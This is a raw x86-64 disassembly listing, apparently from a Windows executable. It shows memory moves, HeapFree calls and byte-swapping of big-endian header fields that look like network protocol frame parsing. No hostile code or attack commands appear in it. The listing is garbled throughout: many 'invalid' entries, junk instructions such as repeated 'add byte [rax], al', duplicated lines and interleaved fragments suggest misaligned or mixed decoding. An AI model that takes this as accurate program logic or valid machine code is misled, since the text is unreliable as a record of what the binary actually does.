xor eax, eax
mov qword [rsp + 0x68], rax
mov eax, 1
mov qword [rsp + 0x88], rax
lea rax, [0x1401157d0]
mov qword [rsp + 0x58], rax
mov al, 1
mov qword [rsp + 0x80], rax
xor eax, eax
mov r13, qword [rsp + 0x48]
lea r15, [rsp + 0x1e8]
mov r12, qword [rsp + 0x40]
jmp 0x1400a0316
mov bpl, 0x12
xor esi, esi
mov r13, qword [rsp + 0x48]
mov r8, qword [rsp + 0xe8]
test r8b, 1
lea r15, [rsp + 0x1e8]
jne 0x14009faa5
lock dec qword [r8 + 0x20]
jne 0x14009facd
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14009fabe
mov r12b, 0x12
jmp 0x1400a0177
add r12, 0xfffffffffffffff7
test sil, 1
jne 0x14009f6ea
mov eax, 1
mov qword [rsp + 0x60], rax
mov al, 1
mov qword [rsp + 0x80], rax
mov eax, 1
mov qword [rsp + 0x88], rax
mov rax, r12
movabs rcx, 0xaaaaaaaaaaaaaaab
imul rax, rcx
ror rax, 1
movabs rcx, 0x2aaaaaaaaaaaaaab
cmp rax, rcx
jae case.0x140070c13.224
test r12, r12
je 0x1400a1397
add rbp, 9
pxor xmm0, xmm0
xor esi, esi
xor ecx, ecx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x68], rcx
mov dword [rsp + 0x78], 0
xor edx, edx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x98], rdx
xor edx, edx
mov dword [rsp + 0x3c], 0
jmp 0x14009f883
mov eax, dword [rbp + 9]
bswap eax
mov qword [rsp + 0x80], rax
mov al, 1
mov qword [rsp + 0x78], rax
mov bpl, 8
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x60], rax
mov eax, r14d
mov qword [rsp + 0x140], rax
mov dword [rsp + 0xa4], eax
mov dword [rsp + 0xa8], eax
mov r12, qword [rsp + 0x40]
jmp 0x1400a153c
movzx r8d, byte [rbp + 9]
movzx eax, byte [rbp + 0xa]
shl eax, 0x10
movzx ecx, byte [rbp + 0xb]
shl ecx, 8
movzx edx, byte [rbp + 0xc]
and r8d, 0x7f
shl r8d, 0x18
or r8d, eax
or r8d, ecx
or r8d, edx
mov qword [rsp + 0x80], r8
mov al, 1
mov qword [rsp + 0x78], rax
mov bpl, 7
mov r12, qword [rsp + 0x40]
je 0x14009f7ba
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x60], rax
jmp 0x14009f831
cmp qword [rsp + 0xd8], 0
mov r13, qword [rsp + 0x48]
je 0x14009fa86
mov rax, qword [rsp + 0xd0]
movzx ebx, byte [rax]
mov r8d, 1
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0xd0]
call fcn.140012770
mov r8, qword [rsp + 0x1f8]
test r8b, 1
jne 0x14009fa27
invalid
cmp qword [rsp + 0xd8], 0
je 0x14009f7e5
fadd dword [rax]
add byte [rax], al
add byte [rdi], cl
test byte [rcx + 4], al
add byte [rax], al
mov rax, qword [rsp + 0xd0]
movzx ebx, byte [rax]
mov dh, 0x18
mov dh, 0x18
mov r8d, 1
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0xd0]
call fcn.140012770
idiv edi
add byte [rax - 0x73], cl
mov word [rax + riz*8], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add al, ch
cmpsb byte [rsi], byte [rdi]
xor esi, edi
idiv edi
mov r8, qword [rsp + 0x1f8]
test r8b, 1
jne 0x1400a008f
lock dec qword [r8 + 0x20]
idiv edi
mov r8, qword [rsp + 0x1f8]
test r8b, 1
jne 0x1400a008f
lock dec qword [r8 + 0x20]
jne 0x1400a00b7
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400a00a8
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
or eax, 0xe2e60
xor edx, edx
mov r12, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rbp - 0x77], cl
loopne 0x14009f3fb
xchg edx, eax
or al, 0
invalid
add byte [rbp - 0x77], cl
loopne 0x14009f3fb
xchg edx, eax
or al, 0
add byte [rax + 0x24848901], dh
movabs al, byte [0x1b8000000]
mov al, 1
mov dword [rsp + 0xa0], eax
mov eax, 1
mov qword [rsp + 0xf8], rax
mov dword [rsp + 0xf8], eax
mov dword [rsp + 0x130], 0
mov dword [rsp + 0x128], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rsi, [0x1401157d0]
xor ebp, ebp
xor ebx, ebx
xor r15d, r15d
mov r13, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
invalid
mov r12, qword [rsp + 0x40]
lea rcx, [rsp + 0x1e8]
lea ecx, [rsp + 0x1e8]
call fcn.140052130
lea rcx, [rsp + 0x248]
add byte [rax], al
add byte [rax], al
call fcn.14001b4d0
mov r8, qword [rsp + 0x320]
and al, 0x20
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rax], ebx
add dword [rax], eax
invalid
and al, 0x20
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rax], ebx
add dword [rax], eax
add al, dh
dec qword [r8 + 0x20]
lock dec qword [r8 + 0x20]
jne 0x14009f5c6
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
shr byte [rsi], 7
invalid
je 0x14009f4c5
shr byte [rsi], 7
add byte [rbx + riz + 0x49], dh
mov eax, dword [rax + 8]
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r14, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
add eax, 0x72e9e
mov bl, 0x2d
invalid
add eax, 0x72e9e
mov r8, r14
mov rcx, qword [0x140182260]
xor edx, edx
call rax
shr cl, 1
int1
add byte [rax], al
invalid
shr cl, 1
int1
add byte [rax], al
add byte [rbp - 0x77], cl
invalid
mov r15, r8
movzx eax, byte [0x140182310]
add eax, 0xe2e31
add eax, 0xe2e31
mov edx, 0x18
xor ecx, ecx
call fcn.1400dfbe0
cmc
invalid
add al, 0
test rax, rax
test eax, eax
cmc
invalid
test eax, eax
je 0x1400a2fc7
add r13, rbp
mov r8, r15
mov qword [rax], r15
mov qword [rax + 8], r13
invalid
invalid
push 0x40c74808
adc byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x746a0
mov qword [rax + 0x10], 1
mov dword [rax + 0x10], 1
lea rcx, [0x140113bb0]
invalid
jmp 0x1400a02e2
mov edx, dword [rbp + 9]
bswap edx
mov eax, edx
and eax, 0x7fffffff
movzx ecx, byte [rbp + 0xd]
mov dword [rsp + 0x370], eax
add eax, dword [rax]
add byte [rax + 0x374248c], cl
mov word [rsp + rsi*2], fs
add eax, dword [rax]
add byte [rax], al
or dword [rdi], ecx
retf 0xd089
add eax, dword [rax]
add byte [rax + 0x374248c], cl
mov word [rsp + rsi*2], fs
invalid
mov word [rsp + rsi*2], fs
add eax, dword [rax]
add byte [rax], al
mov eax, dword [rsp + 0x371]
je 0x14009f534
add byte [rax], al
mov eax, dword [rsp + 0x371]
test byte [rcx + rsi*2], ah
add eax, dword [rax]
add byte [rax + 0x1e02494], cl
add byte [rax], al
mov byte [rsp + 0x1e0], dl
and al, 0xe0
add dword [rax], eax
add byte [rcx + 0x1e12484], cl
mov dword [rsp + 0x1e1], eax
mov dword [rsp + 0x1e1], eax
mov ecx, dword [rsp + 0x1e0]
mov qword [rsp + 0x80], rcx
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], al
mov word [rax + riz*8], fs
add dword [rax], eax
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], al
cmp ecx, r14d
add byte [rax], al
cmp ecx, r14d
mov r12, qword [rsp + 0x40]
jne case.0x140091ebb.101
add al, byte [rax]
add byte [rax - 0x48], cl
invalid
mov eax, 0
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0x58]
and rcx, rax
or rcx, 1
add dword [rax - 0x77], ecx
and al, 0x58
pop rax
add dword [rax - 0x77], ecx
and al, 0x58
pop rax
pop rax
xor eax, eax
mov qword [rsp + 0x80], rax
add byte [rcx + rcx*4 - 0x10], al
add byte [rcx + rcx*4 - 0x10], al
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x98]
and al, 0x98
add byte [rax], al
add cl, ch
js 0x14009f5a9
add byte [rax], al
invalid
and al, 0x98
add byte [rax], al
add cl, ch
js 0x14009f5a9
add byte [rax], al
shr r8, 5
neg r8
cmp qword [rsp + 0x318], r8
add eax, 0x4cd8f749
cmp dword [rsp + 0x318], eax
sbb byte [rbx], al
add byte [rax], al
je 0x14009f5c6
add r8, qword [rsp + 0x308]
add byte [rax], al
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
invalid
invalid
invalid
mov eax, dword [rsp + 0xa0]
mov r10d, eax
mov r14, rsi
mov r9, qword [rsp + 0xf8]
mov eax, dword [rsp + 0x130]
add byte [rcx + 0x48e889c6], cl
mov dword [rsp + 0x50], eax
and al, 0x50
ret 0x8949
add byte [rcx + 0x48e889c6], cl
mov dword [rsp + 0x50], eax
and al, 0x50
and al, 0x50
mov eax, ebx
mov r8d, r15d
mov ecx, dword [rsp + 0x128]
mov r11d, ecx
mov bl, 1
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 2
lea r15, [rsp + 0x1e8]
mov dword [rsp + 0x3c], r8d
and al, 0x3c
and al, 0xb8
add dword [rax], eax
add byte [rax - 0x7d], cl
cli
add cl, byte [rbp + rcx*4 - 0x44]
and al, 0xe8
add dword [rax], eax
add byte [rcx + rcx*4 + 0x44], al
invalid
and al, 0x3c
and al, 0x3c
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x88], r9
mov qword [rsp + 0x80], r10
add byte [rax], al
add byte [rcx + rcx*4 + 0x5c], cl
and al, 0x60
add byte [rax], al
add byte [rcx + rcx*4 + 0x5c], cl
and al, 0x60
mov qword [rsp + 0x58], r14
je case.0x140079503.188
pop rax
mov qword [rsp + 0x78], rbx
je 0x1400a030d
mov ebp, eax
mov rcx, qword [rsp + 0x1c0]
mov word [rax + rax*8], fs
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rcx*8], ah
add dword [rax], eax
add byte [rax - 0x7b], cl
invalid
je 0x14009f668
mov word [rax + rax*8], fs
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rcx*8], ah
add dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rdx + rdx + 0x48], cl
mov rdx, qword [rax + 0x10]
mov edx, dword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add ecx, edx
add rcx, 0x10
add ecx, 0x10
lea rdx, [rsp + 0x1d0]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x1b8]
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
invalid
xchg byte [rax + rax], cl
invalid
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rsi + 0x4800000c], al
mov edx, dword [rsp + 0x1d0]
rol byte [rcx], 1
add byte [rax], al
mov rdx, qword [rsp + 0x1d0]
rol byte [rcx], 1
add byte [rax], al
mov rcx, qword [rsp + 0x1c0]
mov rax, qword [rsp + 0x1c8]
test r8, r8
je 0x1400a0305
add byte [rax], al
add byte [rax], al
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
add ecx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x1c0]
lock dec qword [rax]
invalid
add byte [rax], 0
add byte [rax - 0x75], cl
test byte [rax + rax*8], ah
add dword [rax], eax
add al, dh
dec qword [rax]
invalid
or byte [rdi], cl
test dword [rbx], edi
jne 0x1400a030b
or al, 0
add byte [rax - 0x75], cl
mov word [rax + rax*8], fs
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc8
add dword [rax], eax
add al, ch
mov rcx, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
call fcn.140005050
imul ebx, dword [rcx - 0xa], 0xffffffff
imul ebx, dword [rcx - 0xa], 0xffffffff
jmp 0x1400a030b
add byte [rax - 0x7b76b7ff], dh
and al, 0x80
add byte [rax], al
add byte [rbp + 0x31], al
ror byte [rbp - 0x7b], 0xe4
test esp, esp
mov al, 1
mov qword [rsp + 0x80], rax
xor r8d, r8d
test r12, r12
test esp, esp
test esp, esp
in al, 0xf
test byte [rbx], dl
adc al, 0
add byte [rax + 1], bh
je 0x1400a0b13
mov eax, 1
mov qword [rsp + 0x60], rax
jmp 0x14009e9cd
invalid
invalid
invalid
xor ecx, ecx
mov r8d, 1
xor eax, eax
invalid
ror byte [rax - 0x77], 0x84
and al, 0x88
add byte [rax], al
add byte [rbp + 0x31], al
dec dword [rax - 0x73]
add eax, 0x74395
mov qword [rsp + 0x88], rax
xor r15d, r15d
lea rax, [0x140113ac0]
jmp 0x14009f749
and al, 0x88
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov r15d, r12d
lea rax, [0x140129120]
xlatb
cdq
or byte [rax], al
add byte [rcx + 0xf], al
invalid
bswap r14d
bswap esi
mov dword [rsp + 0x3c], esi
mov rdx, rax
mov qword [rsp + 0x80], rax
shr rax, 0x20
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x98], r8
mov dword [rsp + 0x98], eax
mov dword [rsp + 0x98], eax
mov rax, r8
shr rax, 0x20
and byte [rax - 0x77], cl
and al, 0x58
pop rax
pop rax
mov qword [rsp + 0x68], rcx
shr rcx, 0x20
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x50], ecx
mov al, 1
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
add dword [rax - 0x77], ecx
and al, 0x78
mov dword [rsp + 0x78], eax
mov bpl, 6
mov qword [rsp + 0x148], rax
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rcx + 0xa42484], cl
add byte [rax], al
invalid
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rcx + 0xa42484], cl
add byte [rax], al
invalid
add byte [rcx + 0xa82484], cl
add byte [rax], al
mov dword [rsp + 0xa8], eax
and al, 0xa8
add byte [rax], al
add byte [rbx + rcx*4 + 0x64], cl
and al, 0x40
mov r12, qword [rsp + 0x40]
jmp 0x1400a153c
add byte [rax], al
xor eax, eax
mov qword [rsp + 0x50], rax
ror byte [rax - 0x77], 0x44
and al, 0x50
xor eax, eax
mov qword [rsp + 0x68], rax
lea rax, [0x1401157d0]
add eax, 0x76001
mov qword [rsp + 0x58], rax
mov al, 1
mov qword [rsp + 0x80], rax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rcx], dh
shr cl, 0x31
or eax, dword [rax]
invalid
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rcx], dh
shr cl, 0x31
or eax, dword [rax]
add byte [rcx - 0x4c], al
adc ebp, ecx
mov cl, byte [rcx]
add byte [rax], al
mov r12b, 0x13
jmp 0x1400a0177
shr eax, 0x18
shr edx, 0x17
invalid
invalid
and edx, 0x100
or edx, eax
mov qword [rsp + 0x60], rdx
mov al, 1
mov qword [rsp + 0x78], rax
invalid
mov bpl, 2
mov qword [rsp + 0x98], rax
and al, 0x98
add byte [rax], al
invalid
mov dword [rsp + 0x98], eax
and al, 0x98
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x88], rax
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x68
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x148], rax
add qword [rax], rax
invalid
mov eax, r14d
mov qword [rsp + 0x140], rax
and al, 0x40
add dword [rax], eax
add cl, ch
in eax, dx
sbb al, 0
invalid
add cl, ch
in eax, dx
sbb al, 0
add byte [rcx - 0x3f], al
shl r9d, 0x18
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
or r11d, ebx
or r11d, esi
mov dword [rsp + 0x3c], 1
add byte [rax], al
add byte [rax], al
mov r8d, r11d
mov dword [rsp + 0x94], r11d
add byte [rax], al
add byte [rdi], cl
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 + 0x6c], cl
mov r13, qword [rsp + 0x48]
add byte [rax], al
mov r13, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x48]
mov esi, ecx
add rbp, r10
invalid
sub r12, r10
sub esp, edx
sub esp, edx
je 0x1400a136f
cmp r12, 6
mov r10d, 6
add byte [rax], al
add byte [rax], al
cmovb r10, r12
cmp r12, 1
je 0x1400a2951
cmp r12, 2
jbe 0x1400a2967
cld
add cl, byte [rdi]
xchg dl, al
xor byte [rax], al
add byte [rcx - 0x7d], cl
cld
add ecx, dword [rdi]
cmp r12, 3
je 0x1400a297d
test dh, cl
xor byte [rax], al
add byte [rax], al
test dh, cl
xor byte [rax], al
add byte [rax], al
cmp r12, 4
jbe 0x1400a2993
cmp r12, 5
invalid
test dh, ah
invalid
add byte [rax], al
cmp r12, 4
jbe 0x1400a2993
cmp r12, 5
je 0x1400a29a9
add byte [rax], al
movzx r9d, byte [rbp]
movzx r11d, byte [rbp + 1]
shl r9d, 8
shl ecx, 8
lea r13d, [r9 + r11]
dec r13d
cmp r13d, 7
ja case.default.0x14009f900
mov ecx, esi
movzx r9d, byte [rbp + 2]
movzx ebx, byte [rbp + 3]
movzx r11d, byte [rbp + 4]
invalid
movzx esi, byte [rbp + 5]
lea r8, [0x140177de0]
out 0x84, eax
or eax, 0x2c634f00
invalid
out 0x84, eax
or eax, 0x2c634f00
test al, 0x4d
add r13, r8
add ebp, eax
jmp r13
shl r9d, 0x18
loope 0x14009f91f
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
or r11d, ebx
or r11d, esi
or ebx, esi
or ebx, esi
mov edx, 1
mov qword [rsp + 0x98], r11
add byte [rax], al
add byte [rcx - 0x7d], al
cmp ebx, 2
and al, 0x98
add byte [rax], al
add byte [rcx - 0x7d], al
cmp ebx, 2
invalid
invalid
cmp ebx, 2
jb case.0x14009f900.7
jmp 0x1400a175d
add byte [rax], al
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
or r11d, ebx
or r11d, esi
mov esi, 1
mov eax, r11d
mov r13, qword [rsp + 0x48]
insb byte [rdi], dx
and al, 0x48
add rbp, r10
sub r12, r10
jne 0x14009f883
jmp 0x1400a136f
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
or r11d, ebx
or r11d, esi
cmp r11d, 2
jae 0x1400a1771
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
or r11d, ebx
or r11d, esi
mov r8d, 1
mov qword [rsp + 0x58], r8
mov r15d, r11d
jmp case.0x14009f900.7
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
or r11d, ebx
or r11d, esi
mov qword [rsp + 0x68], r11
js 0x1400a175d
shl r9d, 0x18
shl ebx, 0x10
or ebx, r9d
shl r11d, 8
lea r9d, [r11 + rbx]
add r9d, 0xffffc000
cmp r9d, 0xffc000
jae 0x1400a175d
mov bpl, 2
test sil, 0x20
jne 0x14009fa77
mov bpl, 0x13
xor esi, esi
mov r8, qword [rsp + 0xe8]
test r8b, 1
lea r15, [rsp + 0x1e8]
je 0x14009f151
shr r8, 5
neg r8
cmp qword [rsp + 0xe0], r8
je 0x14009facd
add r8, qword [rsp + 0xd0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov al, 1
mov qword [rsp + 0x78], rax
test sil, sil
mov byte [rsp + 0xc6], bpl
je 0x14009fb0f
shr r8, 5
neg r8
cmp qword [rsp + 0x1f0], r8
je 0x1400a00b7
add r8, qword [rsp + 0x1e0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12b, 0x13
cmp qword [rsp + 0xd8], 5
jb 0x1400a0177
mov rax, qword [rsp + 0xd0]
mov ebp, dword [rax]
mov eax, 0xffffff7f
and ebp, eax
mov r8d, 4
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0xd0]
call fcn.140012770
mov r8, qword [rsp + 0x1f8]
test r8b, 1
jne 0x1400a0132
lock dec qword [r8 + 0x20]
jne 0x1400a015a
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400a014b
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r12, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, r12
jmp 0x1400a014b
shr r8, 5
neg r8
cmp qword [rsp + 0x1f0], r8
je 0x1400a015a
add r8, qword [rsp + 0x1e0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x1400a0404
mov rax, qword [rsp + 0xd8]
mov r12b, 0xd
sub rax, rbx
jae 0x1400a03fc
mov r8, qword [rsp + 0xe8]
test r8b, 1
jne 0x1400a01bc
lock dec qword [r8 + 0x20]
lea r15, [rsp + 0x1e8]
jne 0x1400a01ec
shr r8, 5
neg r8
cmp qword [rsp + 0xe0], r8
lea r15, [rsp + 0x1e8]
je 0x1400a01ec
mov qword [rsp + 0x528], 9
mov rbx, qword [rsp + 0x340]
cmp rbx, 8
jbe 0x1400a3078
mov rcx, qword [rsp + 0x348]
test cl, 1
mov r13, qword [rsp + 0x48]
jne 0x1400a0e86
mov al, 1
mov dword [rsp + 0xa0], eax
mov eax, 1
mov qword [rsp + 0xf8], rax
mov dword [rsp + 0x130], 0
mov dword [rsp + 0x128], 1
lock inc qword [rcx + 0x20]
jg 0x1400a0f22
mov r8d, 1
xor eax, eax
xor r12d, r12d
lea rcx, [0x140113ac0]
mov qword [rsp + 0x60], rcx
mov r13, qword [rsp + 0x48]
mov qword [rsp + 0x528], rbp
mov r15, r12
sub r15, rbp
jae 0x1400a09c7
call qword [rax + 0x80]
mov eax, ebp
movzx r9d, byte [rsp + 0x188]
mov r14d, eax
mov ebp, r9d
mov r8, qword [rsp + 0x348]
test r8b, 1
je 0x14009e776
shr r8, 5
neg r8
cmp qword [rsp + 0x340], r8
je 0x1400a0356
add r8, qword [rsp + 0x330]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp bpl, 0xa
je 0x1400a1c4d
mov qword [rsp + 0xd8], rax
bswap ebp
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
movaps xmm0, xmmword [rsp + 0xe0]
lea r8, [rsp + 0x380]
movups xmmword [r8 + 7], xmm0
mov qword [r8 - 9], rax
mov qword [r8 - 1], rcx
mov qword [rsp + 0x1e0], 0
movzx eax, byte [rsp + 0xc5]
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0x5e9]
mov rcx, qword [rsp + 0x5f0]
lea rdx, [rsp + 0x1e8]
mov qword [rdx + 8], rcx
mov qword [rdx + 1], rax
mov qword [rsp + 0x1f8], 0
mov qword [rsp + 0x200], 8
movups xmmword [rdx + 0x20], xmm6
mov qword [rsp + 0x218], 8
mov qword [rsp + 0x220], 0
mov qword [rsp + 0x228], 2
mov qword [rsp + 0x230], 0
mov word [rsp + 0x238], 0
movzx eax, word [rsp + 0x36e]
mov word [rdx + 0x56], ax
mov eax, dword [rsp + 0x36a]
mov dword [rdx + 0x52], eax
mov byte [rsp + 0x240], 0xb
mov rax, qword [rsp + 0x798]
mov qword [rdx + 0x68], rax
movups xmm0, xmmword [rsp + 0x789]
movups xmmword [rdx + 0x59], xmm0
mov qword [rsp + 0x258], 0
mov rax, qword [rsp + 0x538]
mov qword [rdx + 0x88], rax
movups xmm0, xmmword [rsp + 0x528]
movups xmmword [rdx + 0x78], xmm0
mov qword [rsp + 0x278], 0
mov rax, qword [rsp + 0x638]
mov qword [rdx + 0xa8], rax
movups xmm0, xmmword [rsp + 0x628]
movups xmmword [rdx + 0x98], xmm0
mov qword [rsp + 0x298], 0
mov rax, qword [rsp + 0x7c8]
mov qword [rdx + 0xc8], rax
movups xmm0, xmmword [rsp + 0x7b8]
movups xmmword [rdx + 0xb8], xmm0
mov qword [rsp + 0x2b8], 0
mov rax, qword [rsp + 0x7b0]
mov qword [rdx + 0xe8], rax
movups xmm0, xmmword [rsp + 0x7a0]
movups xmmword [rdx + 0xd8], xmm0
mov word [rsp + 0x2d8], 0
movzx eax, word [rsp + 0x368]
mov word [rdx + 0xf6], ax
mov eax, dword [rsp + 0x364]
mov dword [rdx + 0xf2], eax
mov qword [rsp + 0x2e0], 0
mov byte [rsp + 0x2e8], 0
mov eax, dword [rsp + 0x544]
mov ecx, dword [rsp + 0x547]
mov dword [rdx + 0x104], ecx
mov dword [rdx + 0x101], eax
mov dword [rsp + 0x2f0], r14d
mov dword [rsp + 0x2f4], ebp
mov byte [rsp + 0x2f8], sil
mov eax, dword [rsp + 0x370]
mov ecx, dword [rsp + 0x373]
mov dword [rdx + 0x114], ecx
mov dword [rdx + 0x111], eax
movdqu xmm0, xmmword [r8 - 9]
movdqu xmm1, xmmword [r8 + 7]
movdqa xmmword [rsp + 0x110], xmm1
movdqa xmmword [rsp + 0x100], xmm0
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x100]
mov r8, r15
mov r9, qword [rsp + 0x4d0]
call fcn.14001a880
cmp al, 0x15
jne 0x1400a07d8
test sil, 4
je 0x1400a0844
mov eax, dword [rsp + 0x1e0]
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x1e4]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x1e8]
mov qword [rsp + 0x98], rax
mov eax, dword [rsp + 0x1ec]
mov qword [rsp + 0x58], rax
mov r15d, dword [rsp + 0x1f0]
mov eax, dword [rsp + 0x1f4]
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x1f8]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x1fc]
mov qword [rsp + 0x50], rax
mov r14d, dword [rsp + 0x200]
mov eax, dword [rsp + 0x204]
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x208]
mov dword [rsp + 0x190], eax
movq xmm11, qword [rsp + 0x20c]
movzx eax, byte [rsp + 0x214]
mov byte [rsp + 0x77], al
lea rsi, [rsp + 0x1e8]
movzx eax, word [rsi + 0x2d]
mov word [rsp + 0xb4], ax
movzx eax, byte [rsi + 0x2f]
mov byte [rsp + 0xb6], al
mov r8d, 0xe0
lea rcx, [rsp + 0x7d0]
lea rdx, [rsp + 0x218]
call fcn.140106250
movzx eax, byte [rsp + 0x2f8]
mov dword [rsp + 0xa8], eax
movzx eax, byte [rsp + 0x2fc]
mov dword [rsp + 0xa4], eax
movzx eax, word [rsi + 0x111]
mov word [rsp + 0xb0], ax
movzx eax, byte [rsi + 0x113]
mov byte [rsp + 0xb2], al
movzx eax, word [rsi + 0x115]
mov word [rsp + 0xac], ax
movzx eax, byte [rsi + 0x117]
mov byte [rsp + 0xae], al
lea rcx, [rsp + 0x100]
call fcn.140012be0
mov bpl, 3
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x140], rax
mov r13, qword [rsp + 0x48]
mov r12, qword [rsp + 0x40]
jmp 0x1400a153c
lea ecx, [rax - 0xc]
movzx ecx, cl
cmp cl, 9
mov edx, 9
cmovae ecx, edx
cmp cl, 7
mov ebx, dword [rsp + 0x3c]
mov rdx, qword [rsp + 0x68]
je 0x1400a0b4b
movzx ecx, cl
mov r14d, 1
xor r12d, r12d
mov r9d, 1
mov r8b, 1
cmp ecx, 9
jne 0x1400a08e2
test sil, 4
jne 0x1400a08e2
add al, 0xfd
lea rsi, [0x1401157d0]
mov ecx, 0
mov r10d, 0
mov ebx, 0
cmp al, 8
jbe 0x1400a0b7e
mov r8d, 0x120
lea rbx, [rsp + 0x370]
mov rcx, rbx
lea rdx, [rsp + 0x1e0]
call fcn.140106250
movaps xmm0, xmmword [rsp + 0x100]
movaps xmm1, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xe0], xmm1
mov rsi, qword [rsp + 0x350]
mov rcx, rsi
call fcn.14001b580
mov qword [rsi], 1
mov r8d, 0x120
mov rcx, qword [rsp + 0x4d8]
mov rdx, rbx
call fcn.140106250
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmm1, xmmword [rsp + 0xe0]
mov rax, qword [rsp + 0x558]
movdqu xmmword [rax], xmm0
movdqu xmmword [rax + 0x10], xmm1
mov bpl, 9
mov r14d, dword [rsp + 0x98]
jmp 0x1400a0bf7
lea rsi, [0x1401157d0]
xor ecx, ecx
xor r10d, r10d
xor ebx, ebx
jmp 0x1400a0b7e
mov al, 1
mov dword [rsp + 0xa0], eax
